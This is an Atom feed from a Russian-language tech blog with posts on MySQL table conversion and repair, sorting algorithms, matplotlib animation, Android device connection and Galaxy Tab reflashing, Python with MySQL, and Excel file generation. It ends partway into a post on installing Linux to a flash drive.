<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-740530141676091465</id><updated>2012-01-26T09:10:39.849-08:00</updated><category term='apache'/><category term='linux'/><category term='liberte'/><category term='xml'/><category term='fuzzing'/><category term='re'/><category term='proxy'/><category term='grub'/><category term='mysql'/><category term='xls'/><category term='web'/><category term='books'/><category term='socks'/><category term='security'/><category term='useful'/><category term='ffmpeg'/><category term='openbox'/><category term='xakep'/><category term='yandex'/><category term='django'/><category term='kde'/><category term='firefox'/><category term='galaxy tab'/><category term='ctypes'/><category term='xrandr'/><category term='android'/><category term='python'/><category term='samba'/><category term='irc'/><category term='samurai'/><category term='rootkits'/><category term='pentest'/><category term='urxvt'/><category term='xlwt'/><category term='urllib2'/><title type='text'>Лучше сейчас</title><subtitle type='html'>чем никогда</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>53</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-5479089670837271858</id><published>2012-01-24T04:21:00.000-08:00</published><updated>2012-01-24T04:21:16.781-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Конвертация MyISAM -&gt; InnoDB</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;По мотивам предыдущего поста. :))&lt;br /&gt;В интернете много всяких заметок по поводу преобразования MyISAM в InnoDB: и с помощью всяких скриптов, и утилит типа&amp;nbsp;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;mysql_convert_table_format&lt;/span&gt;, и даже с помощью &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;sed&lt;/span&gt;. Но нам сложности не нужны, поэтому предлагаю самый простой вариант. Во-первых, остановим сервер:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# /etc/rc.d/mysql-server stop&lt;/span&gt;&lt;/blockquote&gt;Затем нужно убедиться, что в конфиге &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;/etc/mysql/my.cnf&lt;/span&gt; нет строчки &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;skip-innodb&lt;/span&gt;, а также присутствует строчка типа:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;innodb_data_file_path = ibdata1:100M:autoextend&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: inherit;"&gt;Затем логинимся в консоль MySQL:&lt;/span&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;mysql -u &amp;lt;username&amp;gt; -p&lt;/span&gt;&lt;/blockquote&gt;И вводим команду:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;ALTER TABLE &amp;lt;tablename&amp;gt; ENGINE='InnoDB';&lt;/span&gt;&lt;/blockquote&gt;Вот и всё! Моя гиговая табличка преобразовалась за шесть минут.&lt;br /&gt;&lt;br /&gt;PS: конечно, рекомендую сделать бекап базы прежде чем конвертировать - на всякий случай.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-5479089670837271858?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/5479089670837271858/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2012/01/myisam-innodb.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/5479089670837271858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/5479089670837271858'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2012/01/myisam-innodb.html' title='Конвертация MyISAM -&gt; InnoDB'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-8522531841246669527</id><published>2012-01-12T13:38:00.000-08:00</published><updated>2012-01-12T13:38:50.562-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Восстановление MySQL MyISAM</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Если у вас в логах внезапно начали появляться ошибки типа &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;"Table './mybd/cw_table' is marked as crashed and last (automatic?) repair failed"&lt;/span&gt;, то значит наш дорогой MyISAM дал сбой. А так как автовосстановления в нем не предусмотрели, то придется вручную нам это сделать. Во-первых, остановим сервер mysql:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# /etc/rc.d/mysql-server stop&lt;/span&gt;&lt;/blockquote&gt;Воспользуемся утилитой&amp;nbsp;&lt;b&gt;myisamchk&lt;/b&gt; для восстановления таблицы с ключом &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;-r&lt;/span&gt;, что означает recovery:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# myisamchk -r cw_table&lt;/span&gt;&lt;/blockquote&gt;Это помогает в большинстве случаев. При запущенных случаях, если посыпались много таблиц, то можно проверить всю базу целиком:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;# myisamchk --silent --force --fast --update-state /var/lib/mysql/mybd/*.MYI&lt;/span&gt;&lt;/blockquote&gt;Если сбои произошли в результате смерти жесткого диска и файлы восстановлялись с помощью черной магии, то вместо опции &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;--fast&lt;/span&gt; лучше задать &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;--medium-check&lt;/span&gt; или же &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;--extended-check&lt;/span&gt;, если времени вагон / небольшие таблицы / мало индексов.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-8522531841246669527?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/8522531841246669527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2012/01/mysql-myisam.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8522531841246669527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/8522531841246669527'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2012/01/mysql-myisam.html' title='Восстановление MySQL MyISAM'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-9043349406946607252</id><published>2011-12-15T11:43:00.000-08:00</published><updated>2011-12-15T11:43:24.424-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xakep'/><title type='text'>Задачи на собеседованиях</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;В декабрьском номере журнала &lt;a href="http://xakep.ru/"&gt;Хакер&lt;/a&gt; под моим чутким руководством стартовала новая ежемесячная рубрика про задачи на собеседованиях. Прошу высказывать здесь все пожелания и замечания!&lt;br /&gt;&lt;br /&gt;Предложения по задачам для последующих выпусков складывайте сюда же.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-9043349406946607252?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/9043349406946607252/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/12/blog-post.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/9043349406946607252'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/9043349406946607252'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/12/blog-post.html' title='Задачи на собеседованиях'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7549654664310589419</id><published>2011-11-08T13:00:00.000-08:00</published><updated>2011-11-08T13:00:36.633-08:00</updated><title type='text'>Экспресс курс по сортировкам или вспомнить всё</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;1. &lt;b&gt;Пузырьком&lt;/b&gt; О(n^2). Два вложенных цикла, во внутреннем сравниваются пары соседних элементов, начиная с нижних. Таким образом за один проход внутреннего цикла получаем один отсортированный элемент на своем месте.&lt;br /&gt;&lt;br /&gt;2. &lt;b&gt;Выбором&lt;/b&gt;&amp;nbsp;О(n^2). В исходном массиве ищем наименьший элемент и меняем его с первым. Далее повторяем эти шаги с подмассивом исходного, куда не входит уже отсортированный первый элемент.&lt;br /&gt;&lt;br /&gt;3. &lt;b&gt;Вставками&lt;/b&gt; O(n^2). Все элементы условно разделяются на готовую последовательность a1 ... ai-1 и входную ai ... an. Hа каждом шаге, начиная с i = 2 и увеличивая i на 1, берем i-й элемент входной последовательности и вставляем его на нужное место в готовую.&lt;br /&gt;&lt;br /&gt;4. &lt;b&gt;Шелла&lt;/b&gt; O(n log^2 n). Некая модификация сортировки вставками: здесь сначала сортируется не весь массив, а группы элементов, отстоящих друг от груга на некоторое расстояние d. Это расстояние постепенно уменьшаем и доходим до того, что сортируем опять же весь массив. Например, для массива 16 элементов разумно выбрать начальное d = 8, а потом уменьшать его в два раза. Сначала будет сортироваться 8 групп по 2 элемента, потом 4 группы по 4 и так далее.&lt;br /&gt;&lt;br /&gt;5. &lt;b&gt;Пирамидальная&lt;/b&gt; O(n log n). Из исходного массива сначала строится пирамида. Она является так же сбалансированным деревом и обладает свойством, что каждый элемент меньше либо равен родителю. Это дерево легко вписывается в массив, если вписывать элементы по порядку - слева направо и сверху вниз. Далее первый элемент (максимальный) меняем с последним (минимальным) и забываем его, т.е. не учитываем в пирамиде. Перестраиваем пирамиду согласно свойству, т.е. просеиваем первый элемент вниз. Повторяем шаги пока пирамида не иссякнет.&lt;br /&gt;&lt;br /&gt;6. &lt;b&gt;Быстрая&lt;/b&gt; O(n log n).&amp;nbsp;Из массива выбирается некоторый опорный элемент a[i]. Запускается процедура разделения массива, которая перемещает все ключи, меньшие, либо равные a[i], влево от него, а все ключи, большие, либо равные a[i] - вправо.&lt;br /&gt;Теперь массив состоит из двух подмножеств, причем левое меньше, либо равно правого. Для обоих подмассивов: если в подмассиве более двух элементов, рекурсивно запускаем для него ту же процедуру.&lt;br /&gt;&lt;br /&gt;7. &lt;b&gt;Поразрядная&lt;/b&gt; O(nk). Итак, в этом алгоритме у нас есть некие вспомогательные списки, называемые карманами. Их количество равно разрядности данных, например, для человеческих чисел = 10. Вначале они пустые и в них добавляются элементы нашего массива согласно значению первого разряда. Далее полученные списки склеиваются, и операция повторяется над полученным массивом, но только со 2 разрядом. И далее вплоть до максимального разряда самого длинного числа.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7549654664310589419?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7549654664310589419/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/11/blog-post.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7549654664310589419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7549654664310589419'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/11/blog-post.html' title='Экспресс курс по сортировкам или вспомнить всё'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-4913042480393649050</id><published>2011-10-20T14:10:00.000-07:00</published><updated>2011-10-20T14:10:56.081-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Matplotlib - анимация в реальных условиях</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;На сайте проекта -&amp;nbsp;&lt;a href="http://matplotlib.sourceforge.net/examples/index.html"&gt;http://matplotlib.sourceforge.net/examples/index.html&lt;/a&gt;&amp;nbsp;- даны базовые примеры анимации с графиками, которые, как обычно бывает, плохо работают в боевых условиях. Например, у меня имеется прога на GTK, с отдельным потоком, где производятся все вычисления для графиков. По-хорошему, там же и надо вызывать функцию перерисовки, но не тут-то было!&lt;br /&gt;&lt;br /&gt;Иксы выкатывают мне неведомую ошибку:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;The program 'panel.py' received an X Window System error.This probably reflects a bug in the program.The error was 'BadDrawable (invalid Pixmap or Window parameter)'.  (Details: serial 6974 error_code 9 request_code 62 minor_code 0)  (Note to programmers: normally, X errors are reported asynchronously;   that is, you will receive the error a while after causing it.   To debug your program, run it with the --sync command line   option to change this behavior. You can then get a meaningful   backtrace from your debugger if you break on the gdk_x_error() function.)&lt;/span&gt;&lt;/blockquote&gt;Я так и не понял почему такое может происходить, поэтому начал искать другой способ запуска функции через определенный промежуток времени. В этом мне помог такой кодес:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;import gobject&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;gobject.timeout_add(1000, self.animate)&lt;/span&gt;&lt;/blockquote&gt;&amp;nbsp;Такой замес тупо вызывает функцию animate каждую секунду. Все довольны!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-4913042480393649050?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/4913042480393649050/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/10/matplotlib.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/4913042480393649050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/4913042480393649050'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/10/matplotlib.html' title='Matplotlib - анимация в реальных условиях'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-7158063375561169403</id><published>2011-10-07T08:29:00.000-07:00</published><updated>2011-10-07T08:29:24.493-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='galaxy tab'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Подключение некоторых Android 2.3 based устройств к Linux</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Не знаю уж почему так делают, но на некоторых прошивках Android 2.3 при подключении к компу устройство по умолчанию распознается как модем, а не как флешка, что сопровождается подобными деферамбами dmesg:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[81405.955234] usb 2-2: new high speed USB device number 7 using ehci_hcd&lt;br /&gt;[81406.098927] cdc_acm 2-2:1.0: This device cannot do calls on its own. It is not a modem.&lt;br /&gt;[81406.099041] cdc_acm 2-2:1.0: ttyACM0: USB ACM device&lt;/blockquote&gt;На этом всё, то есть как флешка оно не определяется. Итак, чтобы исправить это, заходим в телефон и набираем номер &lt;b&gt;*#7284#&lt;/b&gt;, выскочит некая PhoneUtil, где и надо выбрать в обоих случаях пункт PDA. Вот и всё, теперь андроид монтируется как в старые добрые времена.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-7158063375561169403?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/7158063375561169403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/10/android-23-based-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7158063375561169403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/7158063375561169403'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/10/android-23-based-linux.html' title='Подключение некоторых Android 2.3 based устройств к Linux'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-3610008534246029029</id><published>2011-08-28T10:57:00.000-07:00</published><updated>2011-08-28T10:57:53.110-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='galaxy tab'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Перепрошивка Galaxy Tab на Android 2.3</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Samsung уже давно анонсировал обновление Android 2.3 для Galaxy Tab, но официально распространять его в нашей стране не торопится. Мне это надоело и я решил перепрошить свой девайс самостоятельно итальянской версией системы.&lt;br /&gt;Для этого воспользуемся прогой &lt;a href="https://github.com/downloads/Benjamin-Dobell/Heimdall/heimdall_1.3.0_i386.deb"&gt;heimdall&lt;/a&gt;, которая является кроссплатформенной, в отличие от остальных:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;# dpkg -i heimdall_1.3.0_i386.deb&lt;/blockquote&gt;Далее нужно скачать саму прошивку, можно &lt;a href="http://narod.ru/disk/18621291001/P1000BGJP4_CSC-RUS_GTU_WOPA_WITHBOOT_PREROOTED_ZEROLAB-DOT-NET.zip"&gt;отсюда&lt;/a&gt;. После этого распаковываем tar в отдельную папку и добавляем туда файл P1_add_hidden.pit из основного архива. Потом переводим наш планшет в режим перепрошивки, для этого надо выключить его, а потом зажать кнопку включения и кнопку понижения громкости пока не появится значок с гастарбайтером. Подключаем девайс к компу через usb и вводим команду:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ heimdall flash --repartition --pit P1_add_hidden.pit --cache cache.rfs --dbdata dbdata.rfs --factoryfs factoryfs.rfs --kernel zImage&lt;/blockquote&gt;Всё! Перепрошивка занимает несколько минут, потом устройство само перезагрузится и можно начинать переустанавливать весь софт. =\&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-3610008534246029029?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/3610008534246029029/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/08/galaxy-tab-android-23.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3610008534246029029'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/3610008534246029029'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/08/galaxy-tab-android-23.html' title='Перепрошивка Galaxy Tab на Android 2.3'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-2354854611762840210</id><published>2011-08-19T16:34:00.000-07:00</published><updated>2011-08-19T16:50:42.036-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>MySQL и Python</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Итак, тут я расскажу как быстро развернуть СУБД мускуль и рулить ей из питона. Начнем. Сперва установим нужные пакеты. Мускуль:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;# apt-get install mysql-server&lt;/blockquote&gt;В процессе установки спросят пароль для рута, лучше ввести что-нибудь и не забыть! Ставим модуль для питона:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;# apt-get install python-mysqldb&lt;/blockquote&gt;Ну вот, после этого было бы неплохо создать базу данных и пользователя к ней. Логинимся под рутом:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ mysql -u root -p&lt;/blockquote&gt;Создаем базу:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; CREATE DATABASE testdb;&lt;/blockquote&gt;Создаем пользователя с паролем 'test', даем все права и выходим:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;mysql&amp;gt; CREATE USER 'user'@'localhost' IDENTIFIED BY 'test';&lt;br /&gt;mysql&amp;gt; USE testdb;&lt;br /&gt;mysql&amp;gt; GRANT ALL ON testdb.* TO 'user'@'localhost';&lt;br /&gt;mysql&amp;gt; quit;&lt;/blockquote&gt;Теперь небольшой пример:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;import MySQLdb as mdb&lt;br /&gt;&lt;br /&gt;conn = mdb.connect('localhost', 'user', 'test', 'testdb')&lt;br /&gt;cursor = conn.cursor()&lt;br /&gt;cursor.execute("SELECT VERSION()")&lt;br /&gt;data = cursor.fetchone()&lt;br /&gt;print data&lt;br /&gt;cursor.close()&lt;br /&gt;conn.close()&lt;/blockquote&gt;Здесь просто выполняется запрос "SELECT VERSION()" и соотвественно версия субд выводится на экран. Функция fetchone() возвращает одну строку. Если запрос возвращает множество строк, то чтобы их получить можно использовать fetchall(). Но если записей очень много, то это может быть расточительно для памяти. В таком случае нам поможет атрибут rowcount, где содержится количество строк, которое вернул запрос:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;cursor.execute("SELECT * FROM table")&lt;br /&gt;numrows = int(cursor.rowcount)&lt;br /&gt;for i in xrange(numrows):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; row = cursor.fetchone()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print row&lt;/blockquote&gt;Кстати, row представляет из себя кортеж, так что можно с легкостью получить доступ к каждому элементу выборки. Ну а дальнейшие изыскания ограничиваются только вашими знаниями языка SQL!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-2354854611762840210?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/2354854611762840210/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/08/mysql-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2354854611762840210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/2354854611762840210'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/08/mysql-python.html' title='MySQL и Python'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-4289724078479017494</id><published>2011-08-19T15:47:00.000-07:00</published><updated>2011-08-19T15:47:09.184-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xls'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='xlwt'/><title type='text'>Python + Excel или создаем отчеты в формате XLS</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Создавать экселевские файлы в питоне элементарно! Для этого есть модуль &lt;a href="http://pypi.python.org/pypi/xlwt"&gt;xlwt&lt;/a&gt;. Ставим:&lt;br /&gt;&lt;blockquote&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;# apt-get install python-xlwt&lt;/div&gt;&lt;/blockquote&gt;Простейший пример:&lt;br /&gt;&lt;blockquote style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;import xlwt&lt;br /&gt;&lt;br /&gt;# тут важно поставить 'utf-8', если надо писать русские символы и так далее&lt;br /&gt;wbk = xlwt.Workbook('utf-8')&lt;br /&gt;# добавляем лист&lt;br /&gt;sheet = wbk.add_sheet('sheet 1')&lt;br /&gt;# пишем в первую строку и первый столбец&lt;br /&gt;sheet.write(0, 0, 'bla bla')&lt;br /&gt;# сохраняем в файл &lt;br /&gt;wbk.save('test.xls')&lt;/blockquote&gt;Вот и всё! Конечно, функционал модуля этим не ограничивается, все интересующиеся могут ознакомиться с ним на страницах документации.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/740530141676091465-4289724078479017494?l=ivinside.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ivinside.blogspot.com/feeds/4289724078479017494/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ivinside.blogspot.com/2011/08/python-excel-xls.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/4289724078479017494'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/740530141676091465/posts/default/4289724078479017494'/><link rel='alternate' type='text/html' href='http://ivinside.blogspot.com/2011/08/python-excel-xls.html' title='Python + Excel или создаем отчеты в формате XLS'/><author><name>iv</name><uri>http://www.blogger.com/profile/06526424784813687531</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-740530141676091465.post-1177133987050243594</id><published>2011-07-24T05:38:00.000-07:00</published><updated>2011-07-24T05:38:32.969-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='grub'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Установка Linux на долбаную флешку</title><content 